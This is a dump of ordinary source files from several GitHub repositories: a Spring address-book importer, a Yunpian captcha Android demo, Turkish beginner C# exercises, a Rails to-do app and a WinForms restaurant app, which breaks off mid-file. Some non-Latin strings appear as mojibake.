org.apache.poi.ss.usermodel.Row; import org.apache.poi.xssf.usermodel.XSSFSheet; import org.apache.poi.xssf.usermodel.XSSFWorkbook; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Service; import com.tmail.board.Biz.AddressBiz; import com.tmail.board.Dto.AddressDto; import com.tmail.board.Dto.InsertResultDto; @Service public class ReadXLSX { @Autowired private AddressBiz biz; public void ReadXLSX_Read(String filePath, int members_seq, int group_seq) throws IOException { AddressDto dto = new AddressDto(); InsertResultDto result = new InsertResultDto(); FileInputStream fis = new FileInputStream(new File(filePath)); XSSFWorkbook workbook = new XSSFWorkbook (fis); XSSFSheet sheet = workbook.getSheetAt(0); Iterator ite = sheet.rowIterator(); List<String> exLeader = new ArrayList<String>(); List<String> email = new ArrayList<String>(); List<String> name = new ArrayList<String>(); List<String> email_false = new ArrayList<String>(); List<String> name_false = new ArrayList<String>(); int sum = 0; while(ite.hasNext()){ Row row = (Row) ite.next(); Iterator<Cell> cite = row.cellIterator(); while(cite.hasNext()){ Cell c = cite.next(); String exLeaders = (c.toString()); exLeader.add(exLeaders); } System.out.println(); } for(int i = 0; i<exLeader.size(); i++){ if(i%2!=0) { System.out.println(exLeader.get(i)+"์ด๋ฉ”์ผ"); email.add(exLeader.get(i)); }else if(i%2==0) { System.out.println(exLeader.get(i)+"์ด๋ฆ„"); name.add(exLeader.get(i)); } } for(int i = 0; i<email.size(); i++) { dto.setCustomer_email(email.get(i)); dto.setMembers_seq(members_seq); dto.setCustomer_name(name.get(i)); int check = biz.address_check(dto); System.out.println("์ค‘๋ณต์ฒดํฌ"+check); if(check==1) { dto.setGroup_seq(group_seq); int res = biz.insert(dto); sum = sum + res; }else { email_false.add(email.get(i)); name_false.add(name.get(i)); } } System.out.println(sum); System.out.println(email_false); System.out.println(name_false); result.setEmailFalse(email_false); result.setNameFalse(name_false); result.setSum(sum); fis.close(); } } ``` AddressDao.java ```package com.tmail.board.Dao; import java.util.List; import com.tmail.board.Dto.AddressDto; import com.tmail.board.Dto.Address_GroupDto; public interface AddressDao { String namespace = "email."; public List<AddressDto> selectList(AddressDto dto); public AddressDto selectOne_email_chk(String name); public int insert(AddressDto dto); public int update(AddressDto dto); public int delete(String name); public int address_check(AddressDto dto); public int group_insert(Address_GroupDto dto); public List<Address_GroupDto> selectList_Group(int members_seq); public int group_admin_size(int group_seq); public int delete_group(Address_GroupDto dto); public int update_group(Address_GroupDto dto); public int group_cnt(Address_GroupDto dto); public int delete_addr(AddressDto dto); public String selectOne_email(AddressDto dto); public List<String> selectOne_cus_seq(AddressDto dto); }``` PersonalDao.java ```package com.tmail.board.Dao; import java.util.List; import com.tmail.board.Dto.PersonalDto; public interface PersonalDao { String namespace = "person."; public int person(PersonalDto dto); public List<PersonalDto> personalList(PersonalDto dto); public int personalPwChange(PersonalDto dto); } ``` MailboxBiz.java ```package com.tmail.board.Biz; import java.util.List; import com.tmail.board.Dto.Criteria; import com.tmail.board.Dto.MailboxAttachDto; import com.tmail.board.Dto.MailboxDto; public interface MailboxBiz { List<MailboxDto> getList(Criteria cri, String email); List<MailboxDto> getTemplates(String email); void addMail(MailboxDto mail); MailboxDto getMail(int bno); boolean deleteMail(int bno); boolean updateMail(MailboxDto mail); int getTotal(Criteria cri, String email); List<MailboxAttachDto> getAttachList(int bno); } ``` RegisterBizImpl.java ```package com.tmail.board.Biz.impl; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Service; import com.tmail.board.Biz.RegisterBiz; import com.tmail.board.Dao.RegisterDao; import com.tmail.board.Dto.RegisterDto; @Service public class RegisterBizImpl implements RegisterBiz { @Autowired private RegisterDao dao; @Override public int joinInsert(RegisterDto dto) { return dao.joinInsert(dto); } @Override public int loginSelect(String email,String pw) { return dao.loginSelect(email,pw); } @Override public int joinCheck(String email,String pw) { return dao.joinCheck(email,pw); } @Override public int pass_ck(String email) { return dao.pass_ck(email); } @Override public void pass_complate(String email) { dao.pass_complate(email); } @Override public int pass_change(RegisterDto dto) { return dao.pass_change(dto); } @Override public String mail_check(String email) { return dao.mail_check(email); } @Override public int member_seq_return(String email) { return dao.member_seq_return(email); } @Override public String master_name_ck(String email) { return dao.master_name_ck(email); } @Override public RegisterDto getMember(int members_seq) { return dao.getMember(members_seq); } }``` HelpBizImpl.java ```package com.tmail.board.Biz.impl; import java.util.List; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Service; import com.tmail.board.Biz.HelpBiz; import com.tmail.board.Dao.HelpDao; import com.tmail.board.Dto.AddressDto; import com.tmail.board.Dto.HelpDto; @Service public class HelpBizImpl implements HelpBiz{ @Autowired private HelpDao dao; @Override public int insertHelp(HelpDto dto) { return dao.insertHelp(dto); } @Override public List<HelpDto> help_groupList() { return dao.help_groupList(); } @Override public String help_registerName(String email) { return dao.help_registerName(email); } @Override public int help_update(HelpDto dto) { return dao.help_update(dto); } @Override public int help_delete(int help_seq) { return dao.help_delete(help_seq); } @Override public List<String> help_email_return(AddressDto dto, List<String> cus_seq) { return dao.help_email_return(dto,cus_seq); } }```
yunjinghui123/JHWaterLayout
yunjinghui123/JHWaterLayout README.md ```# JHWaterLayout a base of layout tool ```
yunkyung99/osi-and-tcp
yunkyung99/osi-and-tcp README.md ```# osi-and-tcp```
yunluwen/spark_source-1.6.0
yunluwen/spark_source-1.6.0 README.md ```# spark_source-1.6.0 ```
yunpian/yunpian-captcha-demo-android
yunpian/yunpian-captcha-demo-android MainActivity.java ```package com.yunpian.captcha.demo; import android.content.DialogInterface; import android.net.http.SslError; import android.os.Bundle; import android.view.View; import android.webkit.SslErrorHandler; import android.webkit.WebView; import android.widget.CheckBox; import android.widget.EditText; import android.widget.SeekBar; import android.widget.TextView; import android.widget.Toast; import androidx.appcompat.app.AlertDialog; import androidx.appcompat.app.AppCompatActivity; import com.qipeng.captcha.QPCaptcha; import com.qipeng.captcha.QPCaptchaConfig; import com.qipeng.captcha.QPCaptchaListener; import org.json.JSONException; import org.json.JSONObject; public class MainActivity extends AppCompatActivity { private SeekBar alphaSeekbar; private SeekBar widthSeekbar; private SeekBar expiredSeekbar; private TextView widthSeekbarTv; private TextView alphaSeekbarTv; private TextView expiredSeekbarTv; private CheckBox showLoadingCb; private CheckBox langEnCb; private JSONObject langPackModel; private int MAX_PADDING = 64; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); showLoadingCb = findViewById(R.id.show_loading_cb); langEnCb = findViewById(R.id.lang_en_cb); alphaSeekbar = findViewById(R.id.alpha_seekbar); widthSeekbar = findViewById(R.id.width_seekbar); expiredSeekbar = findViewById(R.id.expired_seekbar); widthSeekbarTv = findViewById(R.id.width_seekbar_tv); alphaSeekbarTv = findViewById(R.id.alpha_seekbar_tv); expiredSeekbarTv = findViewById(R.id.expired_seekbar_tv); TextView versionTv = findViewById(R.id.version_tv); versionTv.setText(QPCaptcha.getInstance().getSDKVersion()); alphaSeekbar.setOnSeekBarChangeListener(new SeekBar.OnSeekBarChangeListener() { @Override public void onProgressChanged(SeekBar seekBar, int progress, boolean fromUser) { alphaSeekbarTv.setText(String.valueOf(progress / 10f)); } @Override public void onStartTrackingTouch(SeekBar seekBar) { } @Override public void onStopTrackingTouch(SeekBar seekBar) { } }); alphaSeekbar.setProgress(5); widthSeekbar.setMax(MAX_PADDING); widthSeekbar.setOnSeekBarChangeListener(new SeekBar.OnSeekBarChangeListener() { @Override public void onProgressChanged(SeekBar seekBar, int progress, boolean fromUser) { if (seekBar.getProgress() > MAX_PADDING) { seekBar.setProgress(MAX_PADDING); } widthSeekbarTv.setText(String.valueOf(seekBar.getProgress())); } @Override public void onStartTrackingTouch(SeekBar seekBar) { } @Override public void onStopTrackingTouch(SeekBar seekBar) { if (seekBar.getProgress() > MAX_PADDING) { seekBar.setProgress(MAX_PADDING); } widthSeekbarTv.setText(String.valueOf(seekBar.getProgress())); } }); widthSeekbar.setProgress(16); expiredSeekbar.setOnSeekBarChangeListener(new SeekBar.OnSeekBarChangeListener() { @Override public void onProgressChanged(SeekBar seekBar, int progress, boolean fromUser) { expiredSeekbarTv.setText(String.valueOf(progress)); } @Override public void onStartTrackingTouch(SeekBar seekBar) { } @Override public void onStopTrackingTouch(SeekBar seekBar) { } }); expiredSeekbar.setProgress(30); showLoadingCb.setChecked(true); langEnCb.setChecked(false); } private static final String DEMO_APP_ID = "e73fee86d1f14075a08a501b196a256e"; public void startVerify(View view) { QPCaptcha.getInstance().init(this, DEMO_APP_ID); start(); } public void startVerifyWithLangPack(View view) { final View inputView = getLayoutInflater().inflate(R.layout.langpackmodel_input, null); new AlertDialog.Builder(this) .setTitle("่‡ชๅฎšไน‰ๅ›ฝ้™…ๅŒ–่ฏญ่จ€") .setView(inputView) .setPositiveButton("็กฎๅฎš", new DialogInterface.OnClickListener() { @Override public void onClick(DialogInterface dialog, int which) { QPCaptcha.getInstance().init(MainActivity.this, DEMO_APP_ID); langPackModel = new JSONObject(); try { langPackModel.put("YPcaptcha_02", ((EditText) inputView.findViewById(R.id.YPcaptcha_02)).getText()); langPackModel.put("YPcaptcha_03", ((EditText) inputView.findViewById(R.id.YPcaptcha_03)).getText()); langPackModel.put("YPcaptcha_04", ((EditText) inputView.findViewById(R.id.YPcaptcha_04)).getText()); } catch (JSONException e) { e.printStackTrace(); } start(langPackModel); } }).show(); } private void start() { start(null); } private void start(JSONObject langPackModel) { QPCaptchaConfig config = new QPCaptchaConfig.Builder(this) .setUsername("่ฟ™้‡Œๆ˜ฏ็ปˆ็ซฏ็”จๆˆท่พ“ๅ…ฅ็š„็”จๆˆทๅ") .setAlpha(alphaSeekbar.getProgress() / 10f) .setPaddingDp(widthSeekbar.getProgress()) .setLangPackModel(langPackModel) .showLoadingView(showLoadingCb.isChecked()) .setLang(langEnCb.isChecked() ? QPCaptchaConfig.LANG_EN : QPCaptchaConfig.LANG_ZH) .setCallback(new QPCaptchaListener() { @Override public void onLoaded() { Toast.makeText(MainActivity.this, "onLoaded", Toast.LENGTH_SHORT).show(); } @Override public void onSuccess(String msg) { Toast.makeText(MainActivity.this, "onSuccess = " + msg, Toast.LENGTH_SHORT).show(); } @Override public void onFail(String msg) { Toast.makeText(MainActivity.this, "onFail msg = " + msg, Toast.LENGTH_SHORT).show(); } @Override public void onError(String msg) { Toast.makeText(MainActivity.this, "onError msg = " + msg, Toast.LENGTH_SHORT).show(); } @Override public void onReceivedSslError(WebView view, SslErrorHandler handler, SslError error) { Toast.makeText(MainActivity.this, "onReceivedSslError", Toast.LENGTH_SHORT).show(); } @Override public void onCancel() { Toast.makeText(MainActivity.this, "onCancel", Toast.LENGTH_SHORT).show(); } }) .build(); QPCaptcha.getInstance().verify(config); } } ``` README.md ```# ไบ‘็‰‡ ่กŒไธบ้ชŒ่ฏ Android SDK ๆŽฅๅ…ฅๆŒ‡ๅ— ## SDK ้›†ๆˆ ### ๆ‰‹ๅŠจๅฏผๅ…ฅSDK ๅฐ†่Žทๅ–็š„ sdk ไธญ็š„ aar ๆ–‡ไปถๆ”พๅˆฐๅทฅ็จ‹ไธญ็š„libsๆ–‡ไปถๅคนไธ‹๏ผŒ็„ถๅŽๅœจ app ็š„ build.gradle ๆ–‡ไปถไธญๅขžๅŠ ๅฆ‚ไธ‹ไปฃ็  ``` repositories { flatDir { dirs 'libs' } } ``` ๅœจ dependencies ไพ่ต–ไธญๅขžๅŠ ๅฏน aar ๅŒ…็š„ๅผ•็”จ ``` implementation(name: 'yunpian-captcha-v1.5.0', ext: 'aar') // aar ๅ็งฐๅ’Œ็‰ˆๆœฌๅทไปฅๅฎ˜็ฝ‘ๆœ€ๆ–ฐ็‰ˆไธบๅ‡† ``` ## ๅผ€ๅง‹ไฝฟ็”จ ### ๅˆๅง‹ๅŒ– ไฝฟ็”จๅผ€ๅ‘่€…่‡ชๅทฑ็š„ captchaId ่ฟ›่กŒๅˆๅง‹ๅŒ– SDK ``` QPCaptcha.getInstance().init(context, "captchaId"); ``` ### ๅ‚ๆ•ฐ้…็ฝฎ๏ผˆๅฏ้€‰๏ผ‰ ``` QPCaptchaConfig config = new QPCaptchaConfig.Builder(contxt) .setAlpha(0.7f) // ่ง†ๅ›พ้€ๆ˜Žๅบฆ .setLangPackModel() // ็•Œ้ข่ฏญ่จ€้…็ฝฎ .showLoadingView() // ๆ˜ฏๅฆๆ˜พ็คบๅŠ ่ฝฝ .setLang(langEnCb.isChecked() ? QPCaptchaConfig.LANG_EN : QPCaptchaConfig.LANG_ZH) // ่ฏญ่จ€่ฎพ็ฝฎไธญๆ–‡ๆˆ–่€…่‹ฑๆ–‡๏ผŒ้ป˜่ฎคไธญๆ–‡ .setCallback() // ่ฎพ็ฝฎๅ›ž่ฐƒๆŽฅๅฃ .build(); ``` ### ๅผ€ๅง‹้ชŒ่ฏ ``` QPCaptchaConfig config = new QPCaptchaConfig.Builder(contxt) .setPaddingDp(16) // ่ง†ๅ›พๅฎฝๅบฆ Padding ... // ๅผ€ๅ‘่€…ๆ นๆฎ้œ€่ฆ่‡ช่กŒ้…็ฝฎๅ‚ๆ•ฐ .build(); QPCaptcha.getInstance().verify(config); ``` ### ่‡ชๅฎšไน‰่ฏญ่จ€ๆ˜พ็คบ๏ผˆๅฏ้€‰๏ผ‰ SDK ้ป˜่ฎคๆ”ฏๆŒไธญๆ–‡ๅŠ่‹ฑๆ–‡๏ผŒๅฆ‚ๆžœ้œ€่ฆๆ”ฏๆŒๅ…ถๅฎƒ่ฏญ่จ€๏ผŒ้œ€่ฆ่‡ชๅฎšไน‰่ฏญ่จ€ๆ˜พ็คบ ``` JSONObject langPackModel = new JSONObject(); try { langPackModel.put("YPcaptcha_02", "่ฏทๆŒ‰้กบๅบ็‚นๅ‡ป๏ผš"); langPackModel.put("YPcaptcha_03", "ๅ‘ๅณๆ‹–ๅŠจๆป‘ๅ—ๅกซๅ……ๆ‹ผๅ›พ"); langPackModel.put("YPcaptcha_04", "้ชŒ่ฏๅคฑ่ดฅ๏ผŒ่ฏท้‡่ฏ•"); } catch (JSONException e) { e.printStackTrace(); } QPCaptchaConfig config = new QPCaptchaConfig.Builder(contxt) ... .setLangPackModel(langPackModel) // ็•Œ้ข่ฏญ่จ€้…็ฝฎ ... .build(); QPCaptcha.getInstance().verify(config); ``` ## ๆ•ˆๆžœๆผ”็คบ ### ๆป‘ๅŠจๆ‹ผๅ›พ ![](https://github.com/yunpian/yunpian-captcha-demo-android/blob/master/image/1.png) ### ๅ›พๆ ‡็‚น้€‰ ![](https://github.com/yunpian/yunpian-captcha-demo-android/blob/master/image/2.png) ### ๆ–‡ๅญ—็‚น้€‰ ![](https://github.com/yunpian/yunpian-captcha-demo-android/blob/master/image/3.png) ``` CHANGELOG.md ```Change Log ========== Version 1.5.0 *(2021-06-18)* ---------------------------- - ๅ‡็บงSDK่‡ณv1.5.0 - ๅ…ผๅฎนAndroid 11 - ้ป˜่ฎคๆ ทๅผ่ฐƒๆ•ด - ๆ–ฐๅขž้™„ๅŠ ้ชŒ่ฏไฟกๆฏ Version 1.0.8 *(2020-09-16)* ---------------------------- - ๆ–ฐๅขž setPaddingDp ๆŽฅๅฃ๏ผŒๅบŸๅผƒ setWidth ๆŽฅๅฃ Version 1.0.7 *(2020-07-29)* ---------------------------- - ไฟฎๅค ๅนณๆฟ่ฎพๅค‡ไธๆ”ฏๆŒๆป‘ๅŠจ็š„้—ฎ้ข˜ - ๆ–ฐๅขž SSL ้”™่ฏฏๅ›ž่ฐƒ Version 1.0.6 *(2020-02-12)* ---------------------------- - ไฟฎๅค ๅ‡็บง SDK ๅŽ๏ผŒ่ต„ๆบๆ–‡ไปถ่ฟ˜ๆ˜ฏๆ—ง็‰ˆ็š„้—ฎ้ข˜ ```
yunsmrek/KampIntro-yunsmrek
yunsmrek/KampIntro-yunsmrek SepetManager.cs ```๏ปฟusing System; using System.Collections.Generic; using System.Text; namespace Metotlar { class SepetManager { //naming convention // syntax - yazฤฑm tipi public void Ekle(Urun urun)//normal parantez metot รงalฤฑลŸฤฑyor demek / urun = parametre { Console.WriteLine("Tebrikler. Sepete Eklendi : "+ urun.Adi +" "+urun.StokAdedi+ " adet kaldฤฑ"); } public void Ekle2(string urunAdi,string aciklama, double fiyat, int stokAdedi) { Console.WriteLine("Tebrikler. Sepete Eklendi : " + urunAdi+" " + stokAdedi + " adet kaldฤฑ"); } } } ``` Program.cs ```๏ปฟusing System; namespace Quiz5 { class Program { static void Main(string[] args) { string[] Names = new string[] { "Asibe", "Ahmet", "Hatice", "Yunus Emre", "Zeynep Sude"}; while (true) { Console.WriteLine("1-5 arasฤฑnda bir sayฤฑ giriniz"); int x = Convert.ToInt32(Console.ReadLine()); switch (x) { case 1: Console.WriteLine(Names[0]); break; case 2: Console.WriteLine(Names[1]); break; case 3: Console.WriteLine(Names[2]); break; case 4: Console.WriteLine(Names[3]); break; case 5: Console.WriteLine(Names[4]); break; default: Console.WriteLine("GirdiฤŸiniz veri 1-5 arasฤฑnda bir sayฤฑ deฤŸil !!!"); break; } } } } } ``` Program.cs ```๏ปฟusing System; namespace DegerVeReferansTipler { class Program { static void Main(string[] args) { Console.WriteLine("Hello World!"); int sayi1 = 10; int sayi2 = 30; sayi1 = sayi2; sayi2 = 65; Console.WriteLine(Convert.ToString(sayi1)); //sayi1 = 30 olurdu anlฤฑk deฤŸer tuttuฤŸu iรงin int[] sayilar1 = new int[] { 10, 20, 30 }; int[] sayilar2 = new int[] { 100, 200, 300 }; sayilar1 = sayilar2; sayilar2[0] = 999; Console.WriteLine(Convert.ToString(sayilar1[0])); //sayilar1[0]=999 olur referans olarak saklandฤฑฤŸฤฑ iรงin /*stack-heap olayฤฑndan dolayฤฑ array class interface abstractlar ref tip olarak saklanฤฑr stackta sayilar1 olur deฤŸerler heap te saklฤฑdฤฑr. stack te heap in adresi saklanฤฑr. ind double bool vb.(sayฤฑsal veri tipleri) deฤŸer tiplidir stack te kalฤฑr heap e yazฤฑlmaz. heapteki deฤŸerler eฤŸer stackte bir adreste saklanmฤฑyorsa Garbage collector heapteki deฤŸeri siler. */ } } } ``` Program.cs ```๏ปฟusing System; namespace KampIntro { class Program { static void Main(string[] args) { // Don't repeat yourself!! // type safety = tip gรผvenliฤŸi / deฤŸer tutucu - alias double dolarDun = 7.45; double dolarBugun = 7.45; if (dolarDun>dolarBugun) { Console.WriteLine("AzalฤฑลŸ oku"); } else if (dolarDun<dolarBugun) { Console.WriteLine("ArtฤฑลŸ Oku"); } else { Console.WriteLine("DeฤŸiลŸmedi Oku"); } } } } ``` GercekMusteri.cs ```๏ปฟusing System; using System.Collections.Generic; using System.Text; namespace OOP2 { //Gerรงek mรผลŸteride bir mรผลŸteridir class GercekMusteri:Musteri//Individual(Bireysel) :Musteri inheritancedฤฑr { public string Adi { get; set; } public string Soyadi { get; set; } public string TcNo { get; set; }//matematiksel iลŸlem yapmฤฑyosan string } } ``` MyList.cs ```๏ปฟusing System; using System.Collections.Generic; using System.Text; namespace GenericsIntro { class MyList<T>//T tip int string class her ลŸey olabiliyor { T[] items;// classฤฑn iรงinde her yer eriลŸebilsin diye public MyList()//ctor tab tab constructor bir class new lendiฤŸi zaman รงalฤฑลŸan blok a denir { items = new T[0];//otomatik รงalฤฑลŸฤฑyor } public void Add(T item) { T[] tempArray = items;//Geรงici bir diziye elemanlarฤฑ atฤฑyoruz items = new T[items.Length+1]; for (int i = 0; i < tempArray.Length; i++) { items[i] = tempArray[i]; } items[items.Length-1] = item;//0dan baลŸladฤฑฤŸฤฑ iรงin -1 yazฤฑyoruz } } } ``` Program.cs ```๏ปฟusing System; namespace Donguler { class Program { static void Main(string[] args) { string[] kurslar = new string[] { "Yazฤฑlฤฑm GeliลŸtirici YetiลŸtirme Kampฤฑ", "Programlamaya baลŸlangฤฑรง iรงin temel kurs","Java","Python","C#" }; /* array-dizi tab tab = swipped - dรถngรผ iskeleti //for javada da aynฤฑ*/ for (int i = 0; i <kurslar.Length ; i++) { Console.WriteLine(kurslar[i]); } Console.WriteLine("Foreach e Geรงiyoruz"); foreach (string kurs in kurslar)//String class s si bรผyรผkse // dizi temlli yapฤฑlarฤฑ tek tek dรถnmeye yarฤฑyo foreach kodu { Console.WriteLine(kurs); } } } } ``` Program.cs ```๏ปฟusing System; namespace HomeWork { class Program { static void Main(string[] args) { Products Urun1 = new Products(); Urun1.ProductCategory = "Makyaj"; Urun1.ProductType = "Ruj"; Urun1.ProductName = "Missha"; Products Urun2 = new Products(); Urun2.ProductCategory = "Elektronik"; Urun2.ProductType = "Cep Telefonu"; Urun2.ProductName = "Huawei Honor 7"; Products Urun3 = new Products(); Urun3.ProductCategory = "Ev&Mutfak Aletleri"; Urun3.ProductType = "Blender"; Urun3.ProductName = "Arzum Blender"; Products[] Urunler = new Products[] { Urun1, Urun2, Urun3 }; Console.WriteLine("Foreach ile"); foreach (Products Uruns in Urunler) { Console.WriteLine(Uruns.ProductCategory + "-" + Uruns.ProductType + "-" + Uruns.ProductName); } Console.WriteLine("For ile"); for (int i = 0; i < Urunler.Length; i++) { Console.WriteLine(Urunler[i].ProductCategory+ "*y" +Urunler[i].ProductType+ "*" +Urunler[i].ProductName); } Console.WriteLine("While ile"); int j = 0; while (j<Urunler.Length) { Console.WriteLine(Urunler[j].ProductCategory + "*y" + Urunler[j].ProductType + "*" + Urunler[j].ProductName); j++; } } } class Products { public string ProductName { get; set; } public string ProductType { get; set; } public string ProductCategory { get; set; } } } ``` Program.cs ```๏ปฟusing System; namespace Metotlar { class Program { static void Main(string[] args) { Urun urun1 = new Urun(); //class ฤฑn รถrneฤŸi class olduฤŸu iรงin new yazman gerek urun1.Adi = "Elma"; urun1.Fiyati = 15; urun1.Aciklama = "Amasya Elmasฤฑ"; urun1.StokAdedi = 44; Urun urun2 = new Urun(); urun2.Adi = "Karpuz"; urun2.Fiyati = 80; urun2.Aciklama = "Diyarbakฤฑr Karpuzu"; urun2.StokAdedi = 11; Urun[] urunler = new Urun[] { urun1, urun2 }; //type safe - tip gรผvenliฤŸi/ Urun yerine var da yazฤฑlsa oluyo //cs=c# foreach (Urun urun in urunler) { Console.WriteLine(urun.Adi); Console.WriteLine(urun.Fiyati); Console.WriteLine(urun.Aciklama); Console.WriteLine("------------"); } Console.WriteLine("----------Metotlar----------"); //instance - รถrnek //encapsulation(kapsรผlleme) - koda ekleme yapฤฑnca kodun patlamasฤฑ SepetManager sepetManager = new SepetManager();//class รถrneฤŸi sepetManager.Ekle(urun1);//cw tab tab yap console writelineฤฑ yazar sepetManager.Ekle(urun2); sepetManager.Ekle2("Armut", "YeลŸil Armut", 22,10); sepetManager.Ekle2("Antep FฤฑstฤฑฤŸฤฑ", "Gaziantep", 71,21); sepetManager.Ekle2("Karpuz", "Diyarbakฤฑr Karpuzu", 42,61); } } } /* Don't Repeat Yourself - DRY - Clean Code - Best Practice=En iyi uygulama taktikleri */```
yuntongzhang/todo
yuntongzhang/todo README.md ```# Todo ## Introduction A To-do list created with Ruby on Rails, for CVWO 2018 holiday assignment. ### Name Zhang Yuntong ### Matriculation Number A0138021W ## Versions * ruby 2.5.1 * rails 5.1.4 * boostrap-sass 3.7.7 ## Deployment This app is deployed on [heroku](https://cvwotodo.herokuapp.com/). ## Running the app in local environment Clone this repo: ```shell git clone https://github.com/yuntongzhang/Todo ``` Install all dependancies: ```shell bundle install --path .bundle ``` Create database and run migration: ```shell bundle exec rake db:setup ``` Start the local server: ```shell bundle exec rails server ``` Now you can open this todo-list app in your browser [locally](http://localhost:3000/). ## Authentication ### Username and Password * User name: cvwo2018 * Password: cvwo2018``` _task.json.jbuilder ```json.extract! task, :id, :task_name, :deadline, :details, :created_at, :updated_at, :category_id json.url task_url(task, format: :json) ``` 20180125055521_add_defalut_inbox_category.rb ```class AddDefalutInboxCategory < ActiveRecord::Migration[5.1] # To setup default Inbox category when migrating def change Category.create :name => 'Inbox', :description => 'Default category' end end ``` category.rb ```class Category < ApplicationRecord has_many :tasks, dependent: :destroy validates :name, presence: true, length: { minimum: 3 } # Everytime after deleting a category, create the default Inbox when there is no more category, # so that there is still a category for users to choose from after_commit :create_default, on: :destroy # create a default Inbox category def create_default unless Category.exists? Category.create :name => 'Inbox', :description => 'Default category' end end end```
yunusd/Restrand
yunusd/Restrand Restrand.cs ```๏ปฟusing System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Data.SqlClient; using System.Drawing; using System.IO; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; namespace Restrand { public partial class Restrand : Form { public Restrand() { InitializeComponent(); // Restrand veritabanฤฑnda ki MasaBilgileri tablosunu lstEklenenMasaya ekle using(SqlConnection conn = new SqlConnection()) { conn.ConnectionString = Utils.ConnectionString(); conn.Open(); using (SqlCommand selectCommand = new SqlCommand(Utils.SelectMasaBilgileri, conn)) { SqlDataReader dr = selectCommand.ExecuteReader(); while (dr.Read()) { MasaBilgileri data = new MasaBilgileri { masaKonumu = dr[2].ToString(), sandalyeSayisi = (int)dr[3] }; lstEklenenMasa.Items.Add(data); } } } } private void Button1_Click(object sender, EventArgs e) { _ = new Masa().ShowDialog(); } } } ``` Randevu.cs ```๏ปฟusing System; using System.Collections.Generic; using System.Linq; using System.Text; namespace Restrand { public class Randevu:Restaurant { public override int MasaSayisi() { throw new NotImplementedException(); } public override int SandelyeSayisi() { throw new NotImplementedException(); } public override string MasaKonumu() { throw new NotImplementedException(); } public override object Menu() { throw new NotImplementedException(); } public object MusteriBilgileri { get; set; } private DateTime tarih; public DateTime Tarih { get { return tarih; } set { tarih = value; } } } }``` Restrand.Designer.cs ```๏ปฟnamespace Restrand { partial class Restrand { /// <summary> /// Required designer variable. /// </summary> private System.ComponentModel.IContainer components = null; /// <summary> /// Clean up any resources being used. /// </summary> /// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param> protected override void Dispose(bool disposing) { if (disposing && (components != null)) { components.Dispose(); } base.Dispose(disposing); } #region Windows Form Designer generated code /// <summary> /// Required method for Designer support - do not modify /// the contents of this method with the code editor. /// </summary> private void InitializeComponent() { this.btnMasaEkle = new System.Windows.Forms.Button(); this.btnUrunEkle = new System.Windows.Forms.Button(); this.btnRandevuBilgi = new System.Windows.Forms.Button(); this.lstEklenenMasa = new System.Windows.Forms.ListBox(); this.lstEklenenUrun = new System.Windows.Forms.ListBox(); this.lstEklenenRandevu = new System.Windows.Forms.ListBox(); this.SuspendLayout(); // // btnMasaEkle // this.btnMasaEkle.Location = new System.Drawing.Point(202, 635); this.btnMasaEkle.Margin = new System.Windows.Forms.Padding(6, 6, 6, 6); this.btnMasaEkle.Name = "btnMasaEkle"; this.btnMasaEkle.Size = new System.Drawing.Size(300, 106); this.btnMasaEkle.TabIndex = 0; this.btnMasaEkle.Text = "Masa Ekle"; this.btnMasaEkle.UseVisualStyleBackColor = true; this.btnMasaEkle.Click += new System.EventHandler(this.Button1_Click); // // btnUrunEkle // this.btnUrunEkle.Location = new System.Drawing.Point(642, 635); this.btnUrunEkle.Margin = new System.Windows.Forms.Padding(6, 6, 6, 6); this.btnUrunEkle.Name = "btnUrunEkle"; this.btnUrunEkle.Size = new System.Drawing.Size(300, 106); this.btnUrunEkle.TabIndex = 1; this.btnUrunEkle.Text = "รœrรผn Ekle"; this.btnUrunEkle.UseVisualStyleBackColor = true; // // btnRandevuBilgi // this.btnRandevuBilgi.Location = new System.Drawing.Point(1062, 635); this.btnRandevuBilgi.Margin = new System.Windows.Forms.Padding(6, 6, 6, 6); this.btnRandevuBilgi.Name = "btnRandevuBilgi"; this.btnRandevuBilgi.Size = new System.Drawing.Size(300, 106); this.btnRandevuBilgi.TabIndex = 2; this.btnRandevuBilgi.Text = "Randevu Bilgileri"; this.btnRandevuBilgi.UseVisualStyleBackColor = true; // // lstEklenenMasa // this.lstEklenenMasa.FormattingEnabled = true; this.lstEklenenMasa.ItemHeight = 25; this.lstEklenenMasa.Location = new System.Drawing.Point(202, 65); this.lstEklenenMasa.Margin = new System.Windows.Forms.Padding(6, 6, 6, 6); this.lstEklenenMasa.Name = "lstEklenenMasa"; this.lstEklenenMasa.Size = new System.Drawing.Size(296, 554); this.lstEklenenMasa.TabIndex = 3; // // lstEklenenUrun // this.lstEklenenUrun.FormattingEnabled = true; this.lstEklenenUrun.ItemHeight = 25; this.lstEklenenUrun.Location = new System.Drawing.Point(642, 65); this.lstEklenenUrun.Margin = new System.Windows.Forms.Padding(6, 6, 6, 6); this.lstEklenenUrun.Name = "lstEklenenUrun"; this.lstEklenenUrun.Size = new System.Drawing.Size(296, 554); this.lstEklenenUrun.TabIndex = 4; // // lstEklenenRandevu // this.lstEklenenRandevu.FormattingEnabled = true; this.lstEklenenRandevu.ItemHeight = 25; this.lstEklenenRandevu.Location = new System.Drawing.Point(1062, 65); this.lstEklenenRandevu.Margin = new System.Windows.Forms.Padding(6, 6, 6, 6); this.lstEklenenRandevu.Name = "lstEklenenRandevu"; this.lstEklenenRandevu.Size = new System.Drawing.Size(296, 554); this.lstEklenenRandevu.TabIndex = 5; // // Restrand // this.AutoScaleDimensions = new System.Drawing.SizeF(12F, 25F); this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; this.ClientSize = new System.Drawing.Size(1600, 865); this.Controls.Add(this.lstEklenenRandevu); this.Controls.Add(this.lstEklenenUrun); this.Controls.Add(this.lstEklenenMasa); this.Controls.Add(this.btnRandevuBilgi); this.Controls.Add(this.btnUrunEkle); this.Controls.Add(this.btnMasaEkle); this.Margin = new System.Windows.Forms.Padding(6, 6, 6, 6); this.Name = "Restrand"; this.Text = "Restrand"; this.ResumeLayout(false); } #endregion private System.Windows.Forms.Button btnMasaEkle; private System.Windows.Forms.Button btnUrunEkle; private 